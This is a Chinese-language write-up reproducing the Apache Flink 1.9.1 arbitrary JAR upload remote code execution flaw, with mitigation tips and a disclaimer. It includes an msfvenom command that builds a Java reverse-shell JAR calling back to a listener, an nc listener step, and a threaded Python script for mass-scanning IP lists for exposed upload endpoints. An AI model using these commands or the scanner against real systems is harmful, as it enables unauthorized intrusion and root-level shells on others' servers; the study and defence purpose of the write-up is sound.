有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞.

Apache Flink任意Jar包上传漏洞复现

  1. 漏洞危险等级

    恶意JAR包上传,导致任意命令执行,反弹shell为root权限。
    属于高危漏洞
  2. 漏洞描述

    Apache Flink的任意Jar包上传导致远程代码执行的漏洞。攻击者只需要自己定制一个恶意jar上传,即可达到攻击目的。

    影响版本:<=1.9.1

    镜像下载地址

    https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

    Apache Flink相关描述:

    [https://www.jianshu.com/p/a4d0e00e313b]:

  3. 漏洞复现

    在网站上下载相关的版本tgz包,解压到kali上
    1585977448455

    cd到解压文件的bin目录下

    ./start-cluster.sh

    1585977560776

    开启bin目录下apache服务

    1585977640325

    打开http://ip地址:8081进入apache flink的默认管理目录
    1585977707318

    Kali生成恶意jar包,并且输出到桌面:

    msfvenom -p java/shell_reverse_tcp lhost=192.168.189.187 lport=5555 -f jar >/root/Desktop/shell.jar

    1585978590047

    剩下要做的就是在默认的flink管理目录下点击submit new job上传恶意jar包

    同时nc -vnlp 5555 监听端口
    1585978711251

    1585978825301

    1585978798210

    运行发现报错

    1585979318319

    更换一种提权方式使用msf
    1585979383696

  4. 批量检测脚本

    GIthub源码网站

    https://github.com/AleWong/Apache-Flink-Web-Dashboard-RCE
    import os
    import subprocess
    import requests
    from multiprocessing.dummy import Pool as ThreadPool
    
    def get_iplist():
        iplist = []
        with open("iplist.txt", 'r') as file:
            data = file.readlines()
            for item in data:
                ip = item.strip()
                iplist.append(ip)
    
        return iplist
    
    def check_8081(ip):
        url = 'http://' + ip + ':8081/jar/upload'
    
        try:
            res = requests.get(url=url, timeout=2)
            data = {
                'msg': res.json(),
                'state': 1,
                'url': url,
                'ip': ip
            }
    
        except:
            data = {
                'msg': 'Secure',
                'state': 0,
                'ip': ip
            }
    
        if data['state'] == 1:    	
        	print(data)	
    
    if __name__ == '__main__':
        iplist = get_iplist()
    
        pool = ThreadPool(20)
        pool.map(check_8081, iplist)

    当注释掉 if ‘Unable to load requested file’ in str(data):
    之后,出现Token为空,或者 Unauthorized request 时候是不存在未授权访问的,而是带授权

参考文献/资料来源

http://www.52bug.cn/hkjs/6203.html
https://blog.csdn.net/sun1318578251/article/details/103056168
https://www.t00ls.net/thread-53784-1-1.html
  1. 漏洞修补

    • 对上传的jar包进行前后端检验
    • 开启8081时,界面的身份验证
  2. 免责声明

    批量脚本是来自于https://www.t00ls.net/thread-53784-1-1.html,如果有侵犯权益,联系a@lltuo.com删除。大佬见谅!

    本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。